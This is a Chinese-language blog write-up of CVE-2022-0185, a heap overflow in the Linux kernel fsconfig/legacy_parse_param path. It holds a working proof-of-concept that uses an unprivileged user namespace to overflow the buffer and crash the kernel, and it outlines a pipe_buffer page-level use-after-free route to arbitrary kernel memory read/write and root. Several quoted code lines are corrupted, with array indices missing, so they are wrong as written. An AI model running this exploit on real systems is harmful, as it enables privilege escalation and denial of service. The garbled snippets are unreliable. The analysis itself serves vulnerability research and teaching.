【CVE-2022-0185】Linux kernel [文件系统挂载API] 堆溢出漏洞分析与利用
# 0x00.一切开始之前(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0185) 是 2022 年初爆出来的一个位于 filesystem context 系统中的 `fsconfig` 系统调用中的一个堆溢出漏洞,对于有着 `CAP_SYS_ADMIN` 权限(或是开启了 unprivileged namespace)的攻击者而言其可以利用该漏洞完成本地提权,该漏洞获得了高达 `8.4` 的 CVSS 评分
> 发现漏洞的安全研究员的挖掘与利用过程参见[这里](https://www.willsroot.io/2022/01/cve-2022-0185.html),本文编写时也有一定参考
本文选择内核版本 `5.4` 进行分析,在开始分析之前,我们先来补充一些基础知识
> 注:本文漏洞利用测试环境与 exp 已经开源于 [我的 Github 上](https://github.com/arttnba3/Linux-kernel-exploitation/tree/main/CVE/CVE-2022-0185)
## Filesystem mount API 初探
> 参见[知乎上的该系列文章](https://zhuanlan.zhihu.com/p/93592262)
相信大家对于 Linux 下的文件系统的挂载都是非常熟悉—— `mount`系统调用被用以将文件系统挂载到以 `/` 为根节点的文件树上,例如我们可以用如下命令挂载硬盘 `/dev/sdb1` 到 `/mnt/temp` 目录下,之后就能在该目录下进行文件访问:
```shell
$ sudo mount /dev/sdb1 /mnt/temp
```
或是通过编写程序的方式使用裸的 `mount` 系统调用进行挂载:
```c
#include <stdio.h>
#include <sys/mount.h>
int main(int argc, char **argv, char **envp)
{
if (argc < 4) {
puts("[-] Usage: moount {dev_path} {mount_point} {fs_type}")
}
if (mount(argv, argv, argv, 0, NULL)) {
printf(" Failed to mount %s at %s by file system type: %s!\n",
argv, argv, argv);
} else {
printf("[+] Successful to mount %s at %s by file system type: %s.\n",
argv, argv, argv);
}
return 0;
}
```
但是[总有些人想搞个大新闻](https://lwn.net/Articles/753473/),以 AL Viro 为首的开发者认为旧的 `mount` 系统调用存在诸多漏洞与设计缺陷,于是决定重写一套新的 mount API,并[成功被合并到内核主线](https://patchwork.kernel.org/project/linux-security-module/cover/153754740781.17872.7869536526927736855.stgit@warthog.procyon.org.uk/),称之为 (https://docs.kernel.org/filesystems/mount_api.html)
新的 mount API 将过去的一个简单的 `mount` 系统调用的功能拆分成了数个新的系统调用,对应不同的文件系统挂载阶段,于是乎现在 Linux 上有着两套并行的 mount API
### Step.I - fsopen: 获取一个 filesystem context
还记得笔者以前说过的 (https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/#%E4%B8%80%E3%80%81%E2%80%9C%E4%B8%87%E7%89%A9%E7%9A%86%E6%96%87%E4%BB%B6%E2%80%9D) 的哲学吗,在新的 mount API 中也遵循了这样的哲学——如果说 `open()` 系统调用用以打开一个文件并提供一个文件描述符,那么 **`fsopen()` 系统调用便用于打开一个文件系统,并提供一个”文件系统描述符“**——称之为 **`文件系统上下文`**(filesystem context)
!(https://i.loli.net/2021/02/25/iUoHNsaK5vOG9cR.png)
由于标准库中还未添加 new mount API 相关的代码,因此我们需要写 raw syscall 来进行相关的系统调用,例如我们可以使用如下代码打开一个空白的 `ext4` 文件系统上下文(需要 `CAP_SYS_ADMIN` 权限,或是开启了 unprivileged namespace 的情况下使用 `unshare()` 系统调用创建带有该权限的 namespace):
```c
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int main(int argc, char **argv, char **envp)
{
int fs_fd;
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts(" FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);
return 0;
}
```
需要注意的是这里创建的是一个**空白的文件系统上下文**,并没有与任何实际设备或文件进行关联——这是我们需要在接下来的步骤中完成的配置
#### **✳** fsopen() in kernel
> superblock、dentry 这类的 VFS 基础知识不在此处科普,请自行了解:)
在内核当中,`fsopen()` 系统调用的行为实际上对应创建的是一个 `fs_context` 结构体作为 filesystem context,创建一个对应的 file 结构体并分配一个文件描述符:
```c
/*
* 按名称打开文件系统以便于对其进行设置以挂载
*
* 我们被允许指定在哪个容器中打开文件系统,由此指示要使用哪一个命名空间
* (尤其是将哪个网络命名空间用于网络文件系统).
*/
SYSCALL_DEFINE2(fsopen, const char __user *, _fs_name, unsigned int, flags)
{
struct file_system_type *fs_type;//文件系统类型
struct fs_context *fc;//文件系统上下文
const char *fs_name;
int ret;
// capabilities 机制,检查对应【命名空间】是否有 CAP_SYS_ADMIN 权限
if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN))
return -EPERM;
if (flags & ~FSOPEN_CLOEXEC)
return -EINVAL;
// 拷贝用户传入的文件系统名
fs_name = strndup_user(_fs_name, PAGE_SIZE);
if (IS_ERR(fs_name))
return PTR_ERR(fs_name);
// 按名称获取文件系统类型
fs_type = get_fs_type(fs_name);
kfree(fs_name);
if (!fs_type)
return -ENODEV;
// 创建文件系统上下文结构体
fc = fs_context_for_mount(fs_type, 0);
put_filesystem(fs_type);
if (IS_ERR(fc))
return PTR_ERR(fc);
fc->phase = FS_CONTEXT_CREATE_PARAMS;
// 分配 Logging buffer
ret = fscontext_alloc_log(fc);
if (ret < 0)
goto err_fc;
// 创建 file 结构体并分配文件描述符
return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);
err_fc:
put_fs_context(fc);
return ret;
}
```
其中 `fs_context` 的具体定义如下:
```c
/*
* 用以保存在创建与重新配置一个 superblock 中的参数的文件系统上下文
*
* Superblock 的创建会填充到 ->root 中,重新配置需要该字段已经设置.
*
* 参见 Documentation/filesystems/mount_api.txt
*/
struct fs_context {
const struct fs_context_operations *ops;
struct mutex uapi_mutex; /* 用户空间访问的互斥锁 */
struct file_system_type *fs_type;
void *fs_private; /* 文件系统的上下文 */
void *sget_key;
struct dentry *root; /* root 与 superblock */
struct user_namespace *user_ns; /* 将要挂载的用户命名空间 */
struct net *net_ns; /* 将要挂载的网络1命名空间 */
const struct cred *cred; /* 挂载者的 credentials */
struct fc_log *log; /* Logging buffer */
const char *source; /* 源 (eg. 设备路径) */
void *security; /* Linux S&M 设置 */
void *s_fs_info; /* Proposed s_fs_info */
unsigned int sb_flags; /* Proposed superblock flags (SB_*) */
unsigned int sb_flags_mask; /* Superblock flags that were changed */
unsigned int s_iflags; /* OR'd with sb->s_iflags */
unsigned int lsm_flags; /* Information flags from the fs to the LSM */
enum fs_context_purpose purpose:8;
enum fs_context_phase phase:8; /* The phase the context is in */
bool need_free:1; /* 需要调用 ops->free() */
bool global:1; /* Goes into &init_user_ns */
};
```
`fs_context` 的初始化在 `alloc_fs_context()` 中完成,在 `fsopen()` 中对应的是 `FS_CONTEXT_FOR_MOUNT` :
```c
/**
* alloc_fs_context - 创建一个文件系统上下文.
* @fs_type: 文件系统类型.
* @reference: The dentry from which this one derives (or NULL)//想不出咋翻
* @sb_flags: Filesystem/superblock 标志位 (SB_*)
* @sb_flags_mask: @sb_flags 中可用的成员
* @purpose: 本次配置的目的.
*
* 打开一个文件系统并创建一个挂载上下文(mount context),挂载上下文被以对应的标志位进行初始化,
* 若从另一个 superblock (引自 @reference)进行 submount/automount,
* 则可能由从该 superblock 拷贝来的参数1(如命名空间).
*/
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
struct dentry *reference,
unsigned int sb_flags,
unsigned int sb_flags_mask,
enum fs_context_purpose purpose)
{
int (*init_fs_context)(struct fs_context *);
struct fs_context *fc;
int ret = -ENOMEM;
// 分配 fs_context 结构体
fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
if (!fc)
return ERR_PTR(-ENOMEM);
// 设置对应属性
fc->purpose = purpose;
fc->sb_flags = sb_flags;
fc->sb_flags_mask = sb_flags_mask;
fc->fs_type = get_filesystem(fs_type);
fc->cred = get_current_cred();
fc->net_ns = get_net(current->nsproxy->net_ns);
mutex_init(&fc->uapi_mutex);
// 由 purpose 设置对应的命名空间
switch (purpose) {
case FS_CONTEXT_FOR_MOUNT:
fc->user_ns = get_user_ns(fc->cred->user_ns);
break;
case FS_CONTEXT_FOR_SUBMOUNT:
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
break;
case FS_CONTEXT_FOR_RECONFIGURE:
atomic_inc(&reference->d_sb->s_active);
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
fc->root = dget(reference);
break;
}
/* TODO: 让所有的文件系统无条件支持这块 */
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
init_fs_context = legacy_init_fs_context;
// 初始化 fs_context
ret = init_fs_context(fc);
if (ret < 0)
goto err_fc;
fc->need_free = true;
return fc;
err_fc:
put_fs_context(fc);
return ERR_PTR(ret);
}
```
在完成了通用的初始化工作后,最终进行具体文件系统对应初始化工作的其实是调用 `file_system_type` 中的 `init_fs_context` 函数指针对应的函数完成的,这里我们可以看到对于未设置 `init_fs_context` 的文件系统类型而言其最终会调用 `legacy_init_fs_context()` 进行初始化,主要就是为 `fs_context->fs_private` 分配一个 `legacy_fs_context` 结构体,并将 `fs_context` 的函数表设置为 `legacy_fs_context_ops`:
```c
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops;
return 0;
}
```
`legacy_fs_context` 结构体的定义如下,标识了一块指定长度与类型的缓冲区:
```c
struct legacy_fs_context {
char *legacy_data; /* Data page for legacy filesystems */
size_t data_size;
enum legacy_fs_param param_type;
};
```
### Step.II - fsconfig: 设置 filesystem context 的相关参数与操作
在完成了空白的文件系统上下文的创建之后,我们还需要对其进行相应的配置,以便于后续的挂载操作,这个配置的功能对应到的就是 `fsconfig()` 系统调用
`fsconfig()` 系统调用根据不同的 cmd 进行不同的操作,对于挂载文件系统而言其核心操作主要就是两个 cmd:
- `FSCONFIG_SET_STRING` :设置不同的键值对参数
- `FSCONFIG_CMD_CREATE`:获得一个 superblock 并创建一个 root entry
示例用法如下所示,这里创建了一个键值对 `"source"=/dev/sdb1` 表示文件系统源所在的设备名:
```c
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}
int main(int argc, char **argv, char **envp)
{
int fs_fd;
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts(" FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);
fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);
return 0;
}
```
#### ✳ fsconfig() in kernel
内核空间中的 `fsconfig()` 实现比较长,但主要就是根据 cmd 进行各种 switch,这里就不贴完整的源码了:
```c
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
if (fd < 0)
return -EINVAL;
switch (cmd) {
case FSCONFIG_SET_FLAG:
// 主要是参数的各种检查
// ...
default:
return -EOPNOTSUPP;
}
// 获取文件描述符
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;
// 获取 fs_context,存储在文件描述符的 private_data 字段
fc = f.file->private_data;
if (fc->ops == &legacy_fs_context_ops) {
switch (cmd) { // 一个操作都没实现
case FSCONFIG_SET_BINARY:
case FSCONFIG_SET_PATH:
case FSCONFIG_SET_PATH_EMPTY:
case FSCONFIG_SET_FD:
ret = -EOPNOTSUPP;
goto out_f;
}
}
// 拷贝 key 字段到内核空间
if (_key) {
param.key = strndup_user(_key, 256);
if (IS_ERR(param.key)) {
ret = PTR_ERR(param.key);
goto out_f;
}
}
// 根据不同的 cmd 进行 param 的不同设置
switch (cmd) {
// ...
// 我们主要关注这个 cmd
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;
// ...
default:
break;
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) { // 根据前面设置的 param 进行 VFS 相关操作
ret = vfs_fsconfig_locked(fc, cmd, ¶m);
mutex_unlock(&fc->uapi_mutex);
}
/* Clean up the our record of any value that we obtained from
* userspace.Note that the value may have been stolen by the LSM or
* filesystem, in which case the value pointer will have been cleared.
*/
switch (cmd) {
case FSCONFIG_SET_STRING:
// 临时数据清理工作
//...
default:
break;
}
out_key:
kfree(param.key);
out_f:
fdput(f);
return ret;
}
```
而 `fsconfig()` 的核心作用主要还是根据 cmd 进行参数的封装,最后进入到 VFS 中的操作则通过 `vfs_fsconfig_locked()` 完成
### Step.III - fsmount: 获取一个挂载实例
完成了文件系统上下文的创建与配置,接下来终于来到文件系统的挂载操作了,`fsmount()` 系统调用用以获取一个可以被用以进行挂载的挂载实例,并返回一个文件描述符用以下一步的挂载
示例用法如下:
```c
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}
int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}
int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts(" FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);
fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);
mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
return 0;
}
```
### Step.IV - move_mount: 将挂载实例在挂载点间移动
最后来到~~一个不统一以 fs 开头进行命名的~~ `move_mount()` 系统调用,其用以将挂载实例在挂载点间移动:
- 对于尚未进行挂载的挂载实例而言,进行挂载的操作便是从空挂载点 `""` 移动到对应的挂载点(例如 `"/mnt/temp"`),此时我们并不需要给出目的挂载点的 fd,而可以使用 `AT_FDCWD`
引入了 `move_mount()` 之后,我们最终的一个用以将 `"/dev/sdb1"` 以 `"ext4"` 文件系统挂载到 `"/mnt/temp"` 的完整示例程序如下:
```c
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>
#include <fcntl.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif
int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}
int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}
int move_mount(int from_dfd, const char *from_pathname,int to_dfd,
const char *to_pathname, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_pathname, to_dfd, to_pathname, flags);
}
int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts(" FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);
fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);
mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
move_mount(mount_fd, "", AT_FDCWD, "/mnt/temp", MOVE_MOUNT_F_EMPTY_PATH);
return 0;
}
```
这一套流程下来便是 new Filesystem mount API 的基本用法
# 0x01.漏洞分析
## legacy\_parse\_param() - 整型溢出导致的越界拷贝
前面我们提到该漏洞发生于 `fsconfig()` 系统调用中,若我们给的 `cmd` 为 `FSCONFIG_SET_STRING`,则在内核中存在如下调用链:
```
fsconfig()
vfs_fsconfig_locked()
vfs_parse_fs_param()
```
在 `vfs_parse_fs_param()` 中会调用 `fs_context->ops->parse_param` 函数指针:
```c
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
int ret;
//...
if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param);
if (ret != -ENOPARAM)
return ret;
}
```
前面我们讲到对于未设置 `init_fs_context` 的文件系统类型而言其最终会调用 `legacy_init_fs_context()` 进行初始化,其中 `fs_context` 的函数表会被设置为 `legacy_fs_context_ops`,其 `parse_param` 指针对应为 `legacy_parse_param()` 函数:
```c
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param,
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
```
漏洞便发生在该函数中,在计算 `len > PAGE_SIZE - 2 - size` 时,由于 size 为 `unsigned int` ,若 `size + 2 > PAGE_SIZE` ,则 `PAGE_SIZE - 2 - size` 的结果**会下溢为一个较大的无符号值,从而绕过 len 的检查**,这里的 size 来源为 `ctx->data_size`,即**已拷贝的总的数据长度**,
```c
/*
* Add a parameter to a legacy config.We build up a comma-separated list of
* options.
*/
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size; // 已拷贝的数据长度
size_t len = 0;
if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Legacy: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Legacy: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}
if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");
// 计算 len
switch (param->type) {
case fs_value_is_string:// 对应 FSCONFIG_SET_STRING
len = 1 + param->size;
/* Fall through */
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
param->key);
}
// 此处存在整型溢出的漏洞,若 size + 2 大于一张页的大小则会上溢为一个较大的无符号整型,
// 导致此处通过检查,从而导致后续步骤中的越界拷贝
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
```
在后面的流程中会从用户控件将数据拷贝到`ctx->legacy_data`上,而 `ctx->legacy_data` 仅分配了一张页面大小,但后续流程中的拷贝是从 `ctx->legacy_data` 开始的,**由于 size 可以大于一张页大小,因此此处可以发生数据数据写入**,由于 `ctx->legacy_data` 在分配时使用的是通用的分配 flag `GFP_KERNEL`,因此可以溢出到绝大多数的常用结构体中
```c
// 为 legacy_data 分配一张页的大小
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data = ',';
len = strlen(param->key);
// size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data = '=';
// size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
```
这里需要注意的是,由于 fsconfig 的限制,我们单次写入的最大长度为 256 字节,因此我们需要多次调用 fsconfig 以让其逐渐逼近 `PAGE_SIZE`,而 `len > PAGE_SIZE - 2 - size` 的检查**并非完全无效**,由于 size 为已拷贝数据长度而 len 为待拷贝数据长度,因此**只有当 size 累加到 4095 时才会发生整型溢出**,这里我们在进行溢出前需要卡好已拷贝数据长度**刚好为 `4095`**
由于 `legacy_parse_param()` 中拷贝的结果形式为 `",key=val"`,故我们有如下计算公式:
- `单次拷贝数据长度 = len(key) + len(val) + 2`
下面笔者给出一个笔者自己计算的 4095:
```c
/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);
```
## Proof of Concept
由于大部分的文件系统类型都未设置 `init_fs_context`,因此最后都可以走到 `legacy_parse_param()` 的流程当中,例如 `ext4` 文件系统的 `file_system_type` 定义如下:
```c
static struct file_system_type ext4_fs_type = {
.owner = THIS_MODULE,
.name = "ext4",
.mount = ext4_mount,
.kill_sb = kill_block_super,
.fs_flags = FS_REQUIRES_DEV,
};
```
这里我们将通过 ext4 文件系统进行漏洞复现,我们只需要越界写足够长的一块内存,通常都能写到一些内核结构体从而导致 kernel panic
需要注意的是 filesystem mount API 需要命名空间具有`CAP_SYS_ADMIN` 权限,但由于其**仅检查命名空间权限**,故对于没有该权限的用户则可以通过 `unshare(CLONE_NEWNS|CLONE_NEWUSER)` 创建新的命名空间,以在新的命名空间内获取对应权限
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}
void errExit(char *msg)
{
printf("\033 Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv, char **envp)
{
int fs_fd;
/* create new namespace to get CAP_SYS_ADMIN */
unshare(CLONE_NEWNS | CLONE_NEWUSER);
/* get a filesystem context */
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
errExit("FAILED to fsopen()!");
}
/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);
/* make an oob-write by fsconfig */
for (int i = 0; i < 0x4000; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "arttnba3", 0);
}
return 0;
}
```
运行,成功通过堆溢出造成 kernel panic:
!(https://s2.loli.net/2023/01/08/KmX1LNFrDQPpd9u.png)
# 0x02.漏洞利用
下面笔者给出两种利用方法,其中第一种方法已经经过笔者验证,第二种方法是由漏洞发现者提出的利用方法,尚未经过笔者验证(不过理论上可行)
## 方法一、覆写 `pipe_buffer` 构造页级 UAF
正如笔者在 [这篇帖子](https://www.52pojie.cn/thread-1784403-1-1.html) 中所言,强大的 `pipe_buffer` 利用技术允许我们将绝大多数的内核中的内存损坏漏洞(甚至仅是一个 '\0' 字节的堆溢出)转换为无需任何特权的无限的对物理内存的任意读写能力,并能完美绕过包括 KASLR、SMEP、SMAP 在内的多项主流缓解措施,因此笔者选择使用这项技术完成漏洞利用
### Step.I - 堆喷 `msg_msg` 定位溢出位置
由于下次写入必定会向下一个对象内写入一个 `'='` 和一个 `'\0'` ,而这个 `'='` 就很不可爱,因此我们选择**不直接利用与其相邻的第一个 4k 对象,而是覆写与其相邻的第二个 4k 对象**,这样我们便能只向第二个 4k 对象内写入一个可爱的 `\x00` :)
这里笔者选择首先堆喷 `msg_msg`,利用漏洞将 `m_ts` 改大,通过 `MSG_COPY` 读取检查被覆写的 `msg_msg` 并**释放除了该 msg\_msg 以外的其他 msg\_msg**
### Step.II - fcntl(F\_SETPIPE\_SZ) 更改 pipe\_buffer 所在 slub 大小,构造页级 UAF
接下来我们考虑溢出的目标对象,现在我们仅想要使用一个 `\x00` 字节完成利用,毫无疑问的是我们需要寻找一些在结构体头部便有指向其他内核对象的指针的内核对象,我们不难想到的是 `pipe_buffer` 是一个非常好的的利用对象,其开头有着指向 `page` 结构体的指针,而 `page` 的大小仅为 `0x40` ,可以被 0x100 整除,若我们能够**通过 partial overwrite 使得两个管道指向同一张页面,并释放掉其中一个**,我们便构造出了**页级的 UAF**:
!(https://s2.loli.net/2023/05/02/JLZOKejgoPdTkYA.png)
!(https://s2.loli.net/2023/05/02/MwTSWUbeaY9Puro.png)
!(https://s2.loli.net/2023/05/02/R3reNIAT1lG7sfw.png)
同时**管道的特性还能让我们在 UAF 页面上任意读写**,这真是再美妙不过了:)
但是有一个小问题,`pipe_buffer` 来自于 `kmalloc-cg-1k` ,其会请求 order-2 的页面,而漏洞对象大小为 4k,其会请求 order-3 的页面,如果我们直接进行不同 order 间的堆风水的话,则利用成功率会大打折扣 :(
但 pipe 可以被挖掘的潜力远比我们想象中大得多:)现在让我们重新审视 `pipe_buffer` 的分配过程,其实际上是单次分配 `pipe_bufs` 个 `pipe_buffer` 结构体:
```c
struct pipe_inode_info *alloc_pipe_info(void)
{
//...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
```
这里注意到 `pipe_buffer` **不是一个常量而是一个变量**,那么**我们能否有方法修改 pipe\_buffer 的数量?**答案是肯定的,pipe 系统调用非常贴心地为我们提供了 `F_SETPIPE_SZ` **让我们可以重新分配 pipe\_buffer 并指定其数量**:
```c
long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct pipe_inode_info *pipe;
long ret;
pipe = get_pipe_info(file, false);
if (!pipe)
return -EBADF;
__pipe_lock(pipe);
switch (cmd) {
case F_SETPIPE_SZ:
ret = pipe_set_size(pipe, arg);
//...
static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
{
//...
ret = pipe_resize_ring(pipe, nr_slots);
//...
int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
struct pipe_buffer *bufs;
unsigned int head, tail, mask, n;
bufs = kcalloc(nr_slots, sizeof(*bufs),
GFP_KERNEL_ACCOUNT | __GFP_NOWARN);
```
那么我们不难想到的是**我们可以通过 fcntl() 重新分配单个 pipe 的 pipe\_buffer 数量,**:
- 对于每个 pipe 我们**指定分配 64 个 pipe\_buffer,从而使其向 kmalloc-cg-2k 请求对象,而这将最终向 buddy system 请求 order-3 的页面**
由此,我们便成功使得 `pipe_buffer` 与题目模块的对象**处在同一 order 的内存页上**,从而提高 cross-cache overflow 的成功率
不过需要注意的是,由于 page 结构体的大小为 0x40,其可以被 0x100 整除,因此若我们所溢出的目标 page 的地址最后一个字节刚好为 `\x00`,_那就等效于没有溢出_,因此实际上利用成功率仅为 `75% ` (悲)
### Step.III - 构造二级自写管道,实现任意内存读写
有了 page-level UAF,我们接下来考虑向这张页面分配什么结构体作为下一阶段的 victim object
由于管道本身便提供给我们读写的功能,而我们又能够调整 `pipe_buffer` 的大小并重新分配结构体,那么再次选择 `pipe_buffer` 作为 victim object 便是再自然不过的事情:)
!(https://s2.loli.net/2023/05/02/lfmP8ZxicbjBNSR.png)
接下来我们可以通过 UAF 管道**读取 pipe\_buffer 内容,从而泄露出 page、pipe\_buf\_operations 等有用的数据**(可以在重分配前预先向管道中写入一定长度的内容,从而实现数据读取),由于我们可以通过 UAF 管道直接改写 `pipe_buffer` ,因此将漏洞转化为 dirty pipe 或许会是一个不错的办法(这也是本次比赛中 NU1L 战队的解法)
但是 pipe 的强大之处远不止这些,由于我们可以对 UAF 页面上的 `pipe_buffer` 进行读写,我们可以**继续构造出第二级的 page-level UAF**:
!(https://s2.loli.net/2023/05/02/yhNuT7kBj58K6gt.png)
为什么要这么做呢?在第一次 UAF 时我们获取到了 page 结构体的地址,而 page 结构体的大小固定为 0x40,**且与物理内存页一一对应**,试想若是我们可以不断地修改一个 pipe 的 page 指针,**则我们便能完成对整个内存空间的任意读写**,因此接下来我们要完成这样的一个利用系统的构造
再次重新分配 `pipe_buffer` 结构体到第二级 page-level UAF 页面上,**由于这张物理页面对应的 page 结构体的地址对我们而言是已知的,我们可以直接让这张页面上的 pipe\_buffer 的 page 指针指向自身,从而直接完成对自身的修改**:
